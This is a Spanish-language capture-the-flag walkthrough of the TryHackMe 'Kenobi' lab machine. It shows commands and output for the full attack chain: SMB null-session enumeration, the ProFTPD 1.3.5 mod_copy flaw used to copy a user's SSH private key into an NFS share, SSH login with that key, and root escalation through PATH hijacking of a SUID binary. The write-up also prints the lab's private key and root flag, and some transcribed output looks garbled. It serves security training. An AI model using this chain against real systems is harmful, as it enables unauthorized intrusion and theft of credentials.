



Kenobi

TRYHACKME | Resolución de la Máquina KENOBI - HACKING ÉTICO [CTF]

Resolución de la máquina kenobi de tryhackme paso a paso, donde vamos a aprender el funcionamiento de distintas vulnerabilidades y a cómo detectarlas. Veremos las monturas dentro de la máquina kenobi y como mover archivos internos

https://youtu.be/7L4T_9G3f-A?si=F8yDTTUbOAR5w93q



Machine: Easy

IP: 10.10.51.163

Antes que todo, lo primero que hacemos siempre es verificar que tengamos conexión con la maquina, para ellos lo hacemos con un ping.

```
(root@Kali-Linux)-[/home/santo/Tryhackme/Kenobi] # ping -c 1 10.10.51.163
PING 10.10.51.163 (10.10.51.163) 56(84) bytes of data: 64 bytes from 10.10.51.163: icmp_seq=1 ttl=63 time=71.1 ms

--- 10.10.51.163 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 71.090/71.090/71.090/0.000 ms

(root@Kali-Linux)-[/home/santo/Tryhackme/Kenobi] #
```

Ahora con nmap vamos hacer un reconocimiento de los puertos, para ver que puertos hay abiertos y que servicios corren de tras de dichos puertos, para esta enumeración usaremos este comando que es muy completo y optimo para lo que necesitamos

```
(root@Kali-Linux)-[/home/santo/Tryhackme/Kenobi/nmap] # nmap -p- -sS -Pn -sC --open --min-rate 5000 -n -Pn -vvv 10.10.51.163 -oG allPort
```

Ahora ya tenemos nuestra escaneo exhaustivo con nmap


```

root@Kali-Linux:~/home/santo/Tryhackme/Kenobi/nmap
# nmap -p 111 --script=nfs-ls,nfs-showmount 10.10.43.165 -oN escaneoPort111
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-12 23:35 CET
Nmap scan report for 10.10.43.165 (10.10.43.165)
Host is up (0.072s latency).

PORT      STATE SERVICE
111/tcp   open  rpcbind
| nfs-ls: Volume /var
|   access: Read Lookup NoModify NoExtend NoDelete NoExecute
|   PERMISSION UID  GID  SIZE  TIME  FILENAME
|   rwxr-xr-x  0    0    4096  2019-09-04T08:53:24 .
|   rwxr-xr-x  0    0    4096  2019-09-04T12:27:33 ..
|   rwxr-xr-x  0    0    4096  2019-09-04T12:09:49 backups
|   rwxr-xr-x  0    0    4096  2019-09-04T10:37:44 cache
|   rwxrwxrwx  0    0    4096  2019-09-04T08:43:56 crash
|   rwxrwxr-x  0    50   4096  2016-04-12T20:14:23 local
|   rwxrwxrwx  0    0     9   2019-09-04T08:41:33 lock
|   rwxrwxr-x  0   108   4096  2019-09-04T10:37:44 log
|   rwxr-xr-x  0    0    4096  2019-01-29T23:27:41 snap
|   rwxr-xr-x  0    0    4096  2019-09-04T08:53:24 www
|_
|_ nfs-showmount:
|_ /var *

Nmap done: 1 IP address (1 host up) scanned in 1.73 seconds

```

Bueno como podemos observar hay muchos puertos abiertos en esta maquina, pero en especial vemos el puerto 445 que es el puerto de recursos compartidos de Windows (samba) por lo que con la herramienta `smbmap` vamos a buscar los recursos compartidos que se estén compartiendo en la maquina objetivo.

```

root@Kali-Linux:~/home/santo/Tryhackme/Kenobi
# smbmap -H 10.10.51.163

SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 0 authenticated session(s)

[+] IP: 10.10.51.163:445      Name: 10.10.51.163      Status: NULL Session
    Disk                                                         Permissions  Comment
    print$                                                         NO ACCESS   Printer Drivers
    anonymous                                                         READ ONLY   IPC Service (kenobi server (Samba, Ubuntu))
    IPC$                                                         NO ACCESS
[*] Closed 1 connections

root@Kali-Linux:~/home/santo/Tryhackme/Kenobi
#

```

Y aquí como vemos nos a encontrado varios recursos compartidos, uno de ellos se llama Anonymous

Con este comando podríamos acceder a este recurso compartido, pero aquí lo interesante seria poder acceder por una linea de comandos para así podernos mover por los directorios, entonces para esto es mejor `smbclient`.

```

[*] Closed 1 connections
root@Kali-Linux:~/home/santo/Tryhackme/Kenobi
# smbmap -H 10.10.51.163 -r anonymous
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEVans@gmail.com
https://github.com/ShawnDEVans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 0 authenticated session(s) (no many ports are open)

[+] IP: 10.10.51.163:445      Name: 10.10.51.163      Status: NULL Session
Disk                      Permissions      Comment
-----
print$                     NO ACCESS      Printer Drivers
anonymous                  READ ONLY
./anonymous
dr--r--r--                0 Wed Sep  4 12:49:09 2019  .
dr--r--r--                0 Wed Sep  4 12:56:07 2019  ..
fr--r--r--                12237 Wed Sep  4 12:49:09 2019  log.txt
IPC$                       NO ACCESS      IPC Service (kenobi server (Samba, Ubuntu))
[*] Closed 1 connections

```

Aquí con smbclient nos intentamos conectar a la maquina por el recurso que hemos visto anteriormente el de Anonymous con el comando (-N) le indicamos que queremos hacer una Null Session

```

root@Kali-Linux:~/home/santo/Tryhackme/Kenobi
# smbclient //10.10.51.163/anonymous -N
Try "help" to get a list of possible commands.
smb: \>

```



Que es una Null Session?

Una Null Session es un tipo de conexión anónima a un sistema Windows que permite a un atacante autenticarse sin necesidad de credenciales validas.

Una vez ya estemos dentro podremos ejecutar comando, como podemos observar hay un archivito .txt así que vamos a bajárnoslo con el siguiente comando

```

smb: \> get log.txt
getting file \log.txt of size 12237 as log.txt (40,8 KiloBytes/sec) (average 40,8 KiloBytes/sec)
smb: \>

```

Ahora salgo de la shell y nos procedemos acceder a el archivito

```
getting file (log.txt) of size 1229 as log.txt (40.8 KiBytes/sec) (average 40.8 KiBytes/sec)
smb: \> exit

(root@Kali-Linux)-[/home/santo/Tryhackme/Kenobi]
# ls
content  log.txt  nmap  scripts

(root@Kali-Linux)-[/home/santo/Tryhackme/Kenobi]
# cat log.txt
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa):
Created directory '/home/kenobi/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:C17GWSL/v7KLUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi
The key's randomart image is:
```

Y al espiar un poco podemos ver que hay un usuario llamado **Kenobi**, y podemos ver que tiene un **id_rsa**.

```
# cat log.txt
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa):
Created directory '/home/kenobi/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:C17GWSL/v7KLUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi
The key's randomart image is:
```

Bien entonces ya sabemos que tenemos un usuario que se llama Kenobi, ahora vamos abrir otra vez el reporte de nmap, y como podemos observar tenemos el puerto 21 abierto con una versión un poco vieja, así que vamos hacer uso de searchsploit y vamos a buscar a ver si hay vulnerabilidades reportadas para estos puertos

```
(root@Kali-Linux)-[/home/santo/Tryhackme/Kenobi]
# searchsploit ProFTPD 1.3.5

Exploit Title
-----
ProFTPD 1.3.5 - 'mod_copy' Command Execution (Metasploit)
ProFTPD 1.3.5 - 'mod_copy' Remote Command Execution
ProFTPD 1.3.5 - 'mod_copy' Remote Command Execution (2)
ProFTPD 1.3.5 - File Copy

Shellcodes: No Results
```

De estos exploit que hay vamos a escoger el ultimo, para descargárnoslo solo basta con escribir el parámetro (-m) y ya se nos descargaría, y así es como ya lo tendríamos en nuestra maquina, listo para ser ejecutado

```

(root@Kali-Linux)-[/home/santo/Tryhackme/Kenobi]
# searchsploit -m linux/remote/36742.txt
Exploit: ProFTPD 1.3.5 - File Copy
URL: https://www.exploit-db.com/exploits/36742
Path: /usr/share/exploitdb/exploits/linux/remote/36742.txt
Codes: CVE-2015-3306, OSVDB-120834
Verified: True
File Type: ASCII text
Copied to: /home/santo/Tryhackme/Kenobi/36742.txt

Let's mount the /var/tmp directory to our machine.

(root@Kali-Linux)-[/home/santo/Tryhackme/Kenobi]
# ls
36742.txt  content  log.txt  nmap  scripts

```

Ahora nos vamos a abrir el archivo e intentar entenderlo

```

(root@Kali-Linux)-[/home/santo/Tryhackme/Kenobi]
# cat 36742.txt
Description TJ Saunders 2015-04-07 16:35:03 UTC
Vadim Melihov reported a critical issue with proftpd installations that use the
mod_copy module's SITE CPFR/SITE CPTO commands; mod_copy allows these commands
to be used by *unauthenticated clients*:

```



Explicación de esta vulnerabilidad:

ProFTPD es un servidor FTP muy utilizado en linux. En la versión afectada (**1.3.5rc3**), el modulo **mod_copy** permite a los atacantes no autenticados copiar archivos arbitrarios dentro del sistema de archivos del servidor, lo que puede llevar a una escalada de privilegios o ejecución de código remoto (RCE).

El problema es que los comandos **SITE CPFR (copy from)** y **SITE CPTO (copy to)** permiten a un atacante:

1. **Leer archivos sensibles**, como **/etc/passwd** (donde se almacenan los usuarios del sistema).
2. **Escribir archivos en directorios accesibles por el servidor web**, lo que puede permitir la ejecución de código malicioso.

Si nos dirigimos a el esca neo que hicimos previamente a el puerto 111 podemos ver que tiene monturas

```

(root@Kali-Linux)-[/home/santo/Tryhackme/Kenobi/nmap]
# cat escaneoPort111
# Nmap 7.95 scan initiated Wed Mar 12 23:35:31 2025 as: /usr/lib/nmap/nmap -p 111 --script=nfs-ls,nfs-showmount -oN escaneoPort111 10.10.43.165
Nmap scan report for 10.10.43.165 (10.10.43.165)
Host is up (0.072s latency).

PORT      STATE SERVICE
111/tcp   open  rpcbind
| nfs-ls: Volume /var
| access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION UID  GID  SIZE  TIME  FILENAME
| ----
| rwxr-xr-x  0  0    4096  2019-09-04T08:53:24  .
| rwxr-xr-x  0  0    4096  2019-09-04T12:27:33  ..
| rwxr-xr-x  0  0    4096  2019-09-04T12:09:49  backups
| rwxr-xr-x  0  0    4096  2019-09-04T10:37:44  cache
| rwxrwxrwx  0  0    4096  2019-09-04T08:43:56  crash
| rwxrwxr-x  0  50    4096  2016-04-12T20:14:23  local
| rwxrwxrwx  0  0     9    2019-09-04T08:41:33  lock
| rwxrwxr-x  0 108    4096  2019-09-04T10:37:44  log
| rwxr-xr-x  0  0    4096  2019-01-29T23:27:41  snap
| rwxr-xr-x  0  0    4096  2019-09-04T08:53:24  www
|
| nfs-showmount:
| _ /var *
# Nmap done at Wed Mar 12 23:35:32 2025 -- 1 IP address (1 host up) scanned in 1.73 seconds

```

Explicación de las "Monturas" (Mounts) en NFS

En el contexto de NFS (Network File System), una "montura" es un directorio compartido en un servidor que puede ser accedido por otros dispositivos en la red como si fuera una carpeta local.

Básicamente, es un **recurso compartido** que otro sistema puede "montar" (conectar) en su propio sistema de archivos. Esto permite que varios usuarios o sistemas accedan a los mismos archivos de manera remota.

Tenemos un comando que nos dice la raíz de donde sale la montura, y es el siguiente

```
(root@Kali-Linux)-[/home/santo/Tryhackme/Kenobi/nmap]
# showmount -e 10.10.43.165
Export list for 10.10.43.165:
/var *
```

En esta maquina existe una montura dentro del directorio /var

Entonces tenemos estos dos casos, tenemos por un lado el servicio ProFTPD 1.3.5 que nos permite copiar archivos internos y luego por otro lado tenemos una montura en el puerto 111 dentro del directorio `/var`. Así que si nosotros conseguimos copiarnos el `id_rsa` (que es la clave privada de SSH) Luego podría montármelo en mi sistema y por tanto acceder dentro de la maquina por vía SSH.

Ahora vamos a copiar la clave privada de Kenobi usando comandos SITE CPFR y SITE CPTO, que vimos anteriormente en el exploit que nos descargamos

```
cat 36742.txt
Description TJ Saunders 2015-04-07 16:35:03 UTC
Vadim Melihov reported a critical issue with proftpd installations that use the mod_copy module's SITE CPFR/SITE CPTO commands; mod_copy allows these commands to be used by *unauthenticated clients*:

Trying 80.150.216.115...
Connected to 80.150.216.115.
Escape character is '^]'.
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:80.150.216.115]
site help
214-The following SITE commands are recognized (* =>'s unimplemented)
214-CPFR <sp> pathname
214-CPTO <sp> pathname
214-UTIME <sp> YYYYMMDDhhmm[ss] <sp> path
214-SYMLINK <sp> source <sp> destination
214-RMDIR <sp> path
```

Así que lo primero que hacemos es con netcat por el puerto 21 en el cual corre el servicio vulnerable, conectarnos a la maquina

```
(root@Kali-Linux)-[/home/santo/Tryhackme/Kenobi]
# nc 10.10.43.165 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.43.165]
```

Ahora ponemos el siguiente comando para que nos encuentre el id_rsa (la ubicación del id_rsa la tenemos en el log que nos descargamos anteriormente)

```
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name 2018-2025
```

Y lo vamos a pasar a nuestra carpeta de nuestra maquina de la siguiente forma

```
SITE CPT0 /var/tmp/id_rsa
250 Copy successful
```

Ahora vamos a la raíz de el sistema y una vez estemos aquí vamos a ubicarnos en el directorio `/mnt`

```
(root@Kali-Linux)~# cd /mnt
(root@Kali-Linux)~/mnt# ls
(root@Kali-Linux)~/mnt#
```

Ahora nos creamos una carpeta, en mi caso yo la llame como el nombre de la maquina Kenobi

```
(root@Kali-Linux)~/mnt# mkdir Kenobi
(root@Kali-Linux)~/mnt# ls
Kenobi
```

Ahora mismo una vez creado el directorio este que acabamos de crear, le vamos a decir a la maquina que con el comando `mount` y la ip de la maquina victima, le decimos "como yo tengo a la maquina desde este directorio ahora móntame todo esto a esta carpeta"

```
(root@Kali-Linux)~/mnt# mount 10.10.43.165:/var/tmp Kenobi
```

Entonces ahora mismo deberíamos tener dentro de la carpeta el id_rsa aquí ya en nuestro poder, como se puede apreciar aquí en la imagen


```
root@Kali-Linux:~# cd /mnt
root@Kali-Linux:~/mnt# cd Kenobi
root@Kali-Linux:~/mnt/Kenobi# ls
id_rsa
systemd-private-2408859707bck43292a3d2fc9e613f1e-systemd-timesyncd.service-a5PktM
systemd-private-6facc341cb404959c92cee906c3edc9-systemd-timesyncd.service-z5oAw
root@Kali-Linux:~/mnt/Kenobi# cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA4PeD0e052UEj7xLrLmN68R6ISG3HMK/aTi812CTtZM9nXs
qpweZL+G3BB59D5G3RTPT1rc3M9YNTDsuTvxn9V/*Nu0GJIG5laQZ55e2RaQ1Inv
U7FXQLJrrLWfCyQV0D1gB/AdKKeqcc2ahr/0rsyqaiNmN8Ag0hm/s/753DEP2t
desr4SKF3Jhta1PA4EoZag8pKoydSFteeUHiKosUQzgvScv1RH8ZYB7wslXsorW
y3fx5GwjiitrnqEVT0/GZomGv8UhrjT3TKbPhiw0y5YA48Lp3ES0uxKJEnkdSt
oHFT41InKq0T0CVy0aEPL7zCq7udL7Kc20zfwIDAQABoIAED1Snc28kv1VnCI
ruqnd1Pae87HPIFFobogTawu0RL+eCzE1XgE0iZxglG6/R3Cbw1sg+entPss3
dCdZtAKe06uc3JpCAHI2Yq1ttr30Nm95hbG0pgDyUEF/32hx+1qsdNZHmVfQh
bxAkZaMgsdJGTqyZCudxUv++eXfMDTTw/h2SCAuPE2Nb1f1537w/UQ085HzfVry
tRHnh1nrc/jH4ZDS+58ca/TBj1s2z1ab/UuXAL7DFE/6+En+G9AVwNc2L36w3B
YfR8R9A1PzC20d8LogLPzR7hoX36V0G0+955T8wBVIM1k2L351U9XV113EnC1
bUI7DNECgYEAByvmxRV7yvDHHLjw5Vj/puV1QnktadmE9H9utFGV8gt/Ndde66e
t8uIh1ydcxe/a8DZd-mPt1RMU9GeUTSwxZ8Mpo0UPPIR1SBHnyu+0teLZSLqVuL
zwT/AMDCJGQNS002qr+Y3D3Bh1oeTawA12FwexK9mPFS04elQ1cmMcgyEA7lbe
dd1mrjZ511WwXVQZ0H0PZH/d1qX1Tgw06F1UYPAkq279b1l0e1hrVtj+1svtg
mgG2G0TWueNnddGafwI3USIXZ0cw+e5Hmxy0KhpqstbPzc99IUQ5UBQHZVCvL
SR+ANDmUPRTD6gweVqNv19wXJkh1K17p3RmUCgyEAp6dwaVZg-wl+51rc6WCS
dmc3ymyQdy0D/yb32Vv+eKcmw1cVzVoo1JH433Plqd/0B9V6ulw0T16019
u/vVpKv3k3Gj5yh5gFI81ZuWATWESAva0C3bWwXa82ELxroY1Jkwbge9NS0L/Pph
YNY61y+DdXUvywifkzFmhYKcyB6TeZbH9XBvg3gyhMnaQNZdQFAULM7n/ALcb7
TJ3Qn080tOLHGIW1+0x7PV9c6L/2DFDfY9nyVnc67pLY1WwE16AT3EHB3SHtoC7
P7Y1nqpmne+se0at0epp31u0kyYLO0r0Vv7zgj3hNUS/150qc+0uS14mH1U8
H94xjQKBgeXhzreYXCj9FawXhU9av1j3koASb1ybrq1YnX8gSewY/SbzxpJP
S40wzy1Yhr/n8T00zXz8VMAQx5XnhZ5C/WmhbcMERK8z-jy0avEpkMULR+dWf
py/CLl0CUae+9XBAPKEw4DuN+J2Em/TCZ7dzfCNS/mpsSen0Jo
-----END RSA PRIVATE KEY-----
```



Aquí lo que hicimos fue que básicamente a través de un fallo de seguridad de seguridad en ProFTPD en la versión 1.3.5 pues pudimos copiar el id_rsa a al ubicación que le indicamos, ahora lo que sigue es como ya tenemos copiado este archivo ahora vamos a copiar todo lo que esta en el directorio /var a mi maquina local

Vamos a darle permisos a nuestro id_rsa, para ello tenemos que copiarlo de la ubicación que se encuentra ahora mismo ya que aquí esta dentro de la montura, por ende solo tenemos permisos de lectura

```
mv: no se puede borrar 'id_rsa': Sistema de archivos de s
root@Kali-Linux:~/mnt/Kenobi# cp id_rsa /home/santo/Tryhackme/Kenobi
```

```
root@Kali-Linux:~/home/santo/Tryhackme/Kenobi# chmod 600 id_rsa
```

Ahora como ya tenemos el id_rsa que es la clave privada de SSH pues ahora podríamos establecer una conexión por el servicio SSH, esto lo hacemos de la siguiente manera

```
(root@Kali-Linux)-[/home/santo/Tryhackme/Kenobi]
# ssh -i id_rsa kenobi@10.10.43.165
The authenticity of host '10.10.43.165 (10.10.43.165)' can't be established.
ED25519 key fingerprint is SHA256:GXu1mgqLOWk2ZHPmEUVIS0hvusx4hk33iTcwNKPktFw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.43.165' (ED25519) to the list of known hosts.
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

103 packages can be updated.
65 updates are security updates.

Last login: Wed Sep  4 07:10:15 2019 from 192.168.1.147
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

kenobi@kenobi:~$
```

Ahora ya estamos dentro

ESCALA DE PRIVILEGIOS o USMEO EN EL SISTEMA

Vamos a buscar en el sistema los binarios que tengan permisos como root o permisos aceptables para poder así escalar privilegios

```
kenobi@kenobi:~$ find / -perm -4000 2>/dev/null
/sbin/mount.nfs
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmccrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/at
/usr/bin/newgrp
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping
/bin/su
/bin/ping6
kenobi@kenobi:~$
```

Como podemos observar vemos un binario que tiene privilegios que es muy raro esta fuera de lo común el de (/usr/bin/menu)

```
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/at
```

Así que vamos a ejecutarlo

```
kenobi@kenobi:~$ /usr/bin/menu

*****
1. status check
2. kernel version
3. ifconfig
** Enter your choice :|

*****
Run the binary, how many options appear?

Strings is a command on Linux that looks for human
```

Es como una aplicación que ejecuta comandos

```
kenobi@kenobi:~$ /usr/bin/menu

*****
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
HTTP/1.1 200 OK
Date: Thu, 13 Mar 2025 00:00:55 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Wed, 04 Sep 2019 09:07:20 GMT
ETag: "68-591b684b0ed2"
Accept-Ranges: bytes
Content-Length: 200
Vary: Accept-Encoding
Content-Type: text/html

kenobi@kenobi:~$ /usr/bin/menu

*****
1. status check
2. kernel version
3. ifconfig
** Enter your choice :2
4.0.0-58-generic

kenobi@kenobi:~$ /usr/bin/menu

*****
1. status check
2. kernel version
3. ifconfig
** Enter your choice :3
eth0      Link encap:Ethernet  HWaddr 02:d7:75:23:19:07
          inet addr:10.10.43.165  Bcast:10.10.255.255  Mask:255.255.0.0
          inet6 addr: fe80::d7:75ff:fe23:1907/64  Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:9001  Metric:1
          RX packets:70103 errors:0 dropped:0 overruns:0 frame:0
          TX packets:70044 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:3145362 (3.1 MB)  TX bytes:3885940 (3.8 MB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:222 errors:0 dropped:0 overruns:0 frame:0
          TX packets:222 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1
          RX bytes:16021 (16.0 KB)  TX bytes:16021 (16.0 KB)
```

Y fijaros en una cosa, todo esta se esta ejecutando como root.

Así que si nosotros modificamos el programita podríamos ejecutar como root todos los comando que le pongamos, pero en vez de meter un (ifconfig) voy a meter un (bin/bash)

Así que vamos hacer un echo y todo esto lo vamos a enviar a un archivo, en este caso a program y le damos todo tipo de permisos

```
kenobi@kenobi:~$ echo /bin/bash > ifconfig
kenobi@kenobi:~$ chmod 777 ifconfig
```

Y lo exportamos a el \$PATH de linux

```
kenobi@kenobi:~$ export PATH=.:$PATH
```

Para no ponerle el directorio en donde lo hemos creado solo con ponerle un . le indicamos que es en el directorio actual donde nos encontramos

Entonces cuando el programa vaya a buscar el comando ifconfig no lo va a encontrar la que hemos creado uno con el mismo nombre y ejecutara el nuestro.

Entonces volvemos a ejecutar el programa

```
kenobi@kenobi:~$ find / -perm -4000 2>/dev/null
/sbin/mount.nfs
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmccrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/at
/usr/bin/newgrp
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping
/bin/su
/bin/ping6
kenobi@kenobi:~$ /usr/bin/menu
*****
1. status check
2. kernel version
3. ifconfig
** Enter your choice :3
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@kenobi:~#
```

Y así es como ya seríamos usuario root

```
root@kenobi:~# whoami
root
```

```
root@kenobi:~# cat /root/root.txt
177b3cd8562289f37382721c28381f02
```